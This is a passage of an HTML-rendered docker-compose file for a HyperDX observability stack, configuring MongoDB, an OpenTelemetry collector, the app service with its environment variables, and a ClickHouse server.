&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;.volumes/db:/data/db&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# WARNING: Exposing the database port will make it accessible from outside the container,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# potentially allowing unauthorized access. If you uncomment the ports below,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# ensure to secure your database (e.g., with strong authentication, proper network rules, and firewalls).&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# ports:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# - 27017:27017&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;networks&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;internal&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;otel-collector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${HDX_IMAGE_REPO}/${OTEL_COLLECTOR_IMAGE_NAME_DOCKERHUB}:${IMAGE_VERSION}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;CLICKHOUSE_ENDPOINT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;tcp://ch-server:9000?dial_timeout=10s&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;HYPERDX_OTEL_EXPORTER_CLICKHOUSE_DATABASE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${HYPERDX_OTEL_EXPORTER_CLICKHOUSE_DATABASE}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;HYPERDX_LOG_LEVEL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${HYPERDX_LOG_LEVEL}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;OPAMP_SERVER_URL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://app:${HYPERDX_OPAMP_PORT}&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;13133:13133&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# health_check extension&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;24225:24225&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# fluentd receiver&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;4317:4317&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# OTLP gRPC receiver&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;4318:4318&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# OTLP http receiver&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;8888:8888&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# metrics extension&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;restart&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;always&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;networks&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;internal&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;depends_on&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;ch-server&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;app&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${HDX_IMAGE_REPO}/${IMAGE_NAME_DOCKERHUB}:${IMAGE_VERSION}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;${HYPERDX_API_PORT}:${HYPERDX_API_PORT}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;${HYPERDX_APP_PORT}:${HYPERDX_APP_PORT}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;FRONTEND_URL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${HYPERDX_APP_URL}:${HYPERDX_APP_PORT}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;HYPERDX_API_KEY&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${HYPERDX_API_KEY}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;HYPERDX_API_PORT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${HYPERDX_API_PORT}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;HYPERDX_APP_PORT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${HYPERDX_APP_PORT}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;HYPERDX_APP_URL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${HYPERDX_APP_URL}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;HYPERDX_LOG_LEVEL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${HYPERDX_LOG_LEVEL}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MINER_API_URL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://miner:5123&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MONGO_URI&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mongodb://db:27017/hyperdx&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;NEXT_PUBLIC_SERVER_URL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;http://127.0.0.1:${HYPERDX_API_PORT}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;OPAMP_PORT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${HYPERDX_OPAMP_PORT}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;OTEL_SERVICE_NAME&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hdx-oss-api&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;USAGE_STATS_ENABLED&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${USAGE_STATS_ENABLED:-true}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;64&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;DEFAULT_CONNECTIONS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;65&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;[{&amp;#34;name&amp;#34;:&amp;#34;Local
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;66&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; ClickHouse&amp;#34;,&amp;#34;host&amp;#34;:&amp;#34;http://ch-server:8123&amp;#34;,&amp;#34;username&amp;#34;:&amp;#34;default&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;&amp;#34;}]&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;DEFAULT_SOURCES&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;68&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;[{&amp;#34;from&amp;#34;:{&amp;#34;databaseName&amp;#34;:&amp;#34;default&amp;#34;,&amp;#34;tableName&amp;#34;:&amp;#34;otel_logs&amp;#34;},&amp;#34;kind&amp;#34;:&amp;#34;log&amp;#34;,&amp;#34;timestampValueExpression&amp;#34;:&amp;#34;TimestampTime&amp;#34;,&amp;#34;name&amp;#34;:&amp;#34;Logs&amp;#34;,&amp;#34;displayedTimestampValueExpression&amp;#34;:&amp;#34;Timestamp&amp;#34;,&amp;#34;implicitColumnExpression&amp;#34;:&amp;#34;Body&amp;#34;,&amp;#34;serviceNameExpression&amp;#34;:&amp;#34;ServiceName&amp;#34;,&amp;#34;bodyExpression&amp;#34;:&amp;#34;Body&amp;#34;,&amp;#34;eventAttributesExpression&amp;#34;:&amp;#34;LogAttributes&amp;#34;,&amp;#34;resourceAttributesExpression&amp;#34;:&amp;#34;ResourceAttributes&amp;#34;,&amp;#34;defaultTableSelectExpression&amp;#34;:&amp;#34;Timestamp,ServiceName,SeverityText,Body&amp;#34;,&amp;#34;severityTextExpression&amp;#34;:&amp;#34;SeverityText&amp;#34;,&amp;#34;traceIdExpression&amp;#34;:&amp;#34;TraceId&amp;#34;,&amp;#34;spanIdExpression&amp;#34;:&amp;#34;SpanId&amp;#34;,&amp;#34;connection&amp;#34;:&amp;#34;Local
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; ClickHouse&amp;#34;,&amp;#34;traceSourceId&amp;#34;:&amp;#34;Traces&amp;#34;,&amp;#34;sessionSourceId&amp;#34;:&amp;#34;Sessions&amp;#34;,&amp;#34;metricSourceId&amp;#34;:&amp;#34;Metrics&amp;#34;},{&amp;#34;from&amp;#34;:{&amp;#34;databaseName&amp;#34;:&amp;#34;default&amp;#34;,&amp;#34;tableName&amp;#34;:&amp;#34;otel_traces&amp;#34;},&amp;#34;kind&amp;#34;:&amp;#34;trace&amp;#34;,&amp;#34;timestampValueExpression&amp;#34;:&amp;#34;Timestamp&amp;#34;,&amp;#34;name&amp;#34;:&amp;#34;Traces&amp;#34;,&amp;#34;displayedTimestampValueExpression&amp;#34;:&amp;#34;Timestamp&amp;#34;,&amp;#34;implicitColumnExpression&amp;#34;:&amp;#34;SpanName&amp;#34;,&amp;#34;serviceNameExpression&amp;#34;:&amp;#34;ServiceName&amp;#34;,&amp;#34;bodyExpression&amp;#34;:&amp;#34;SpanName&amp;#34;,&amp;#34;eventAttributesExpression&amp;#34;:&amp;#34;SpanAttributes&amp;#34;,&amp;#34;resourceAttributesExpression&amp;#34;:&amp;#34;ResourceAttributes&amp;#34;,&amp;#34;defaultTableSelectExpression&amp;#34;:&amp;#34;Timestamp,ServiceName,StatusCode,round(Duration/1e6),SpanName&amp;#34;,&amp;#34;traceIdExpression&amp;#34;:&amp;#34;TraceId&amp;#34;,&amp;#34;spanIdExpression&amp;#34;:&amp;#34;SpanId&amp;#34;,&amp;#34;durationExpression&amp;#34;:&amp;#34;Duration&amp;#34;,&amp;#34;durationPrecision&amp;#34;:9,&amp;#34;parentSpanIdExpression&amp;#34;:&amp;#34;ParentSpanId&amp;#34;,&amp;#34;spanNameExpression&amp;#34;:&amp;#34;SpanName&amp;#34;,&amp;#34;spanKindExpression&amp;#34;:&amp;#34;SpanKind&amp;#34;,&amp;#34;statusCodeExpression&amp;#34;:&amp;#34;StatusCode&amp;#34;,&amp;#34;statusMessageExpression&amp;#34;:&amp;#34;StatusMessage&amp;#34;,&amp;#34;connection&amp;#34;:&amp;#34;Local
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; ClickHouse&amp;#34;,&amp;#34;logSourceId&amp;#34;:&amp;#34;Logs&amp;#34;,&amp;#34;sessionSourceId&amp;#34;:&amp;#34;Sessions&amp;#34;,&amp;#34;metricSourceId&amp;#34;:&amp;#34;Metrics&amp;#34;},{&amp;#34;from&amp;#34;:{&amp;#34;databaseName&amp;#34;:&amp;#34;default&amp;#34;,&amp;#34;tableName&amp;#34;:&amp;#34;&amp;#34;},&amp;#34;kind&amp;#34;:&amp;#34;metric&amp;#34;,&amp;#34;timestampValueExpression&amp;#34;:&amp;#34;TimeUnix&amp;#34;,&amp;#34;name&amp;#34;:&amp;#34;Metrics&amp;#34;,&amp;#34;resourceAttributesExpression&amp;#34;:&amp;#34;ResourceAttributes&amp;#34;,&amp;#34;metricTables&amp;#34;:{&amp;#34;gauge&amp;#34;:&amp;#34;otel_metrics_gauge&amp;#34;,&amp;#34;histogram&amp;#34;:&amp;#34;otel_metrics_histogram&amp;#34;,&amp;#34;sum&amp;#34;:&amp;#34;otel_metrics_sum&amp;#34;,&amp;#34;_id&amp;#34;:&amp;#34;682586a8b1f81924e628e808&amp;#34;,&amp;#34;id&amp;#34;:&amp;#34;682586a8b1f81924e628e808&amp;#34;},&amp;#34;connection&amp;#34;:&amp;#34;Local
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;71&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; ClickHouse&amp;#34;,&amp;#34;logSourceId&amp;#34;:&amp;#34;Logs&amp;#34;,&amp;#34;traceSourceId&amp;#34;:&amp;#34;Traces&amp;#34;,&amp;#34;sessionSourceId&amp;#34;:&amp;#34;Sessions&amp;#34;},{&amp;#34;from&amp;#34;:{&amp;#34;databaseName&amp;#34;:&amp;#34;default&amp;#34;,&amp;#34;tableName&amp;#34;:&amp;#34;hyperdx_sessions&amp;#34;},&amp;#34;kind&amp;#34;:&amp;#34;session&amp;#34;,&amp;#34;timestampValueExpression&amp;#34;:&amp;#34;TimestampTime&amp;#34;,&amp;#34;name&amp;#34;:&amp;#34;Sessions&amp;#34;,&amp;#34;displayedTimestampValueExpression&amp;#34;:&amp;#34;Timestamp&amp;#34;,&amp;#34;implicitColumnExpression&amp;#34;:&amp;#34;Body&amp;#34;,&amp;#34;serviceNameExpression&amp;#34;:&amp;#34;ServiceName&amp;#34;,&amp;#34;bodyExpression&amp;#34;:&amp;#34;Body&amp;#34;,&amp;#34;eventAttributesExpression&amp;#34;:&amp;#34;LogAttributes&amp;#34;,&amp;#34;resourceAttributesExpression&amp;#34;:&amp;#34;ResourceAttributes&amp;#34;,&amp;#34;defaultTableSelectExpression&amp;#34;:&amp;#34;Timestamp,ServiceName,SeverityText,Body&amp;#34;,&amp;#34;severityTextExpression&amp;#34;:&amp;#34;SeverityText&amp;#34;,&amp;#34;traceIdExpression&amp;#34;:&amp;#34;TraceId&amp;#34;,&amp;#34;spanIdExpression&amp;#34;:&amp;#34;SpanId&amp;#34;,&amp;#34;connection&amp;#34;:&amp;#34;Local
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;72&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; ClickHouse&amp;#34;,&amp;#34;logSourceId&amp;#34;:&amp;#34;Logs&amp;#34;,&amp;#34;traceSourceId&amp;#34;:&amp;#34;Traces&amp;#34;,&amp;#34;metricSourceId&amp;#34;:&amp;#34;Metrics&amp;#34;}]&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;73&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;networks&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;74&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;internal&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;75&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;depends_on&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;76&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;ch-server&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;77&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;db&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;78&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ch-server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;79&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;clickhouse/clickhouse-server:24-alpine&lt;/span&gt;&lt;span class="w"&gt;
